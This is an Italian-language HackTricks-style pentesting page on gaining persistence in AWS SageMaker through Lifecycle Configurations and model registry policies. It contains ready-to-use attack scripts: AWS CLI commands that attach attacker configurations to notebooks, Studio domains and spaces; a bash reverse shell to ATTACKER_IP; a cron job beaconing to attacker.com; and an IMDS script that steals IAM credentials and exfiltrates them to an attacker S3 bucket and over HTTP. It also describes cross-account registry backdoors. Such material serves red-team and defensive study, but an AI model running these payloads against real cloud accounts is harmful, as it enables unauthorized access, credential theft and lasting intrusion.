# AWS - SageMaker Persistenza {{#include ../../../../banners/hacktricks-training.md}} ## Panoramica delle tecniche di persistenza Questa sezione descrive i metodi per ottenere persistenza in SageMaker abusando delle Lifecycle Configurations (LCCs), inclusi reverse shells, cron jobs, credential theft via IMDS e SSH backdoors. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso di rete in uscita, ma l'uso di servizi sul control plane di AWS può comunque permettere il successo se l'ambiente è in modalità 'VPC-only'. > [!TIP] > Nota: le istanze notebook di SageMaker sono in pratica istanze EC2 gestite, configurate specificamente per carichi di lavoro di machine learning. ## Permessi richiesti * Notebook Instances: ``` sagemaker:CreateNotebookInstanceLifecycleConfig sagemaker:UpdateNotebookInstanceLifecycleConfig sagemaker:CreateNotebookInstance sagemaker:UpdateNotebookInstance ``` * Studio Applications: ``` sagemaker:CreateStudioLifecycleConfig sagemaker:UpdateStudioLifecycleConfig sagemaker:UpdateUserProfile sagemaker:UpdateSpace sagemaker:UpdateDomain ``` ## Imposta Lifecycle Configuration su Notebook Instances ### Esempi di comandi AWS CLI: ```bash # Create Lifecycle Configuration* aws sagemaker create-notebook-instance-lifecycle-config \ --notebook-instance-lifecycle-config-name attacker-lcc \ --on-start Content=$(base64 -w0 reverse_shell.sh) # Attach Lifecycle Configuration to Notebook Instance* aws sagemaker update-notebook-instance \ --notebook-instance-name victim-instance \ --lifecycle-config-name attacker-lcc ``` ## Imposta Lifecycle Configuration su SageMaker Studio Le Lifecycle Configurations possono essere associate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio. ### Studio Domain Level (Tutti gli utenti) ```bash # Create Studio Lifecycle Configuration* aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-studio-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) # Apply LCC to entire Studio Domain* aws sagemaker update-domain --domain-id --default-user-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ### Livello Studio Space (spazi individuali o condivisi) ```bash # Update SageMaker Studio Space to attach LCC* aws sagemaker update-space --domain-id --space-name --space-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ## Tipi di configurazioni del ciclo di vita delle applicazioni di Studio Le configurazioni del ciclo di vita possono essere applicate specificamente ai diversi tipi di applicazioni di SageMaker Studio: * JupyterServer: Esegue script durante l'avvio del Jupyter server, ideale per meccanismi di persistence come reverse shells e cron jobs. * KernelGateway: Viene eseguito durante il lancio dell'app KernelGateway, utile per la configurazione iniziale o per persistent access. * CodeEditor: Si applica al Code Editor (Code-OSS), permettendo script che vengono eseguiti all'avvio delle sessioni di editing del codice. ### Comando di esempio per ogni tipo: ### JupyterServer ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-jupyter-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) ``` ### KernelGateway ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-kernelgateway-lcc \ --studio-lifecycle-config-app-type KernelGateway \ --studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) ``` ### Editor di codice ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-codeeditor-lcc \ --studio-lifecycle-config-app-type CodeEditor \ --studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) ``` ### Informazioni critiche: * L'assegnazione di LCCs a livello di domain o space impatta tutti gli utenti o le applicazioni nell'ambito. * Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace), tipicamente più fattibile a livello di space che di domain. * Controlli a livello di rete (es. filtraggio egress stringente) possono prevenire reverse shells o data exfiltration. ## Reverse Shell tramite Lifecycle Configuration Le SageMaker Lifecycle Configurations (LCCs) eseguono script personalizzati all'avvio delle istanze notebook. Un attaccante con i permessi può instaurare un reverse shell persistente. ### Payload Example: ``` #!/bin/bash ATTACKER_IP="" ATTACKER_PORT="" nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & ``` ## Cron Job Persistence via Lifecycle Configuration Un attaccante può iniettare cron jobs tramite LCC scripts, garantendo l'esecuzione periodica di script o comandi dannosi e consentendo una persistence stealthy. ### Payload Example: ``` #!/bin/bash PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" CRON_JOB="*/30 * * * * $CRON_CMD" mkdir -p /home/ec2-user/SageMaker/.local_tasks echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH chmod +x $PAYLOAD_PATH (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - ``` ## Esfiltrazione di credenziali tramite IMDS (v1 & v2) Le lifecycle configurations possono interrogare l'Instance Metadata Service (IMDS) per recuperare le credenziali IAM ed esfiltrarle verso una posizione controllata dall'attaccante. ### Esempio di payload: ```bash #!/bin/bash ATTACKER_BUCKET="s3://attacker-controlled-bucket" TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json # Exfiltrate via S3* aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json # Alternatively, exfiltrate via HTTP POST* curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload ``` ## Persistenza tramite resource-based policy del SageMaker Model Package Group (PutModelPackageGroupPolicy) Abusa della resource-based policy su un SageMaker Model Package Group per concedere a un principal esterno diritti cross-account (es., CreateModelPackage/Describe/List). Questo crea una backdoor duratura che permette di pushing poisoned model versions o di leggere model metadata/artifacts anche se l'IAM user/role dell'attaccante nell'account vittima viene rimosso. Permessi richiesti - sagemaker:CreateModelPackageGroup - sagemaker:PutModelPackageGroupPolicy - sagemaker:GetModelPackageGroupPolicy Passaggi (us-east-1) ```bash # 1) Create a Model Package Group REGION=${REGION:-us-east-1} MPG=atk-mpg-$(date +%s) aws sagemaker create-model-package-group \ --region "$REGION" \ --model-package-group-name "$MPG" \ --model-package-group-description "Test backdoor" # 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", "arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" ] } ] } JSON # 3) Attach the policy to the group aws sagemaker put-model-package-group-policy \ --region "$REGION" \ --model-package-group-name "$MPG" \ --resource-policy "$(jq -c . /tmp/mpg-policy.json)" # 4) Retrieve the policy (evidence) aws sagemaker get-model-package-group-policy \ --region "$REGION" \ --model-package-group-name "$MPG" \ --query ResourcePolicy --output text ``` Note - Per un vero cross-account backdoor, limita Resource allo specifico group ARN e usa l'AWS account ID dell'attaccante in Principal. - Per deployment end-to-end cross-account o lettura di artifact, allinea le autorizzazioni S3/ECR/KMS con l'account dell'attaccante. Impatto - Controllo persistente cross-account di un Model Registry group: l'attaccante può pubblicare versioni di modelli malevoli o enumerare/leggere i metadata dei modelli anche dopo che le loro entità IAM sono state rimosse nell'account vittima. ## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) Abusa delle impostazioni utente di SageMaker Canvas per reindirizzare silenziosamente le scritture del model registry verso un account controllato dall'attaccante abilitando ModelRegisterSettings e impostando CrossAccountModelRegisterRoleArn su un ruolo dell'attaccante in un altro account. Required permissions - sagemaker:UpdateUserProfile sul UserProfile di destinazione - Optional: sagemaker:CreateUserProfile su un Domain che controlli {{#include ../../../../banners/hacktricks-training.md}}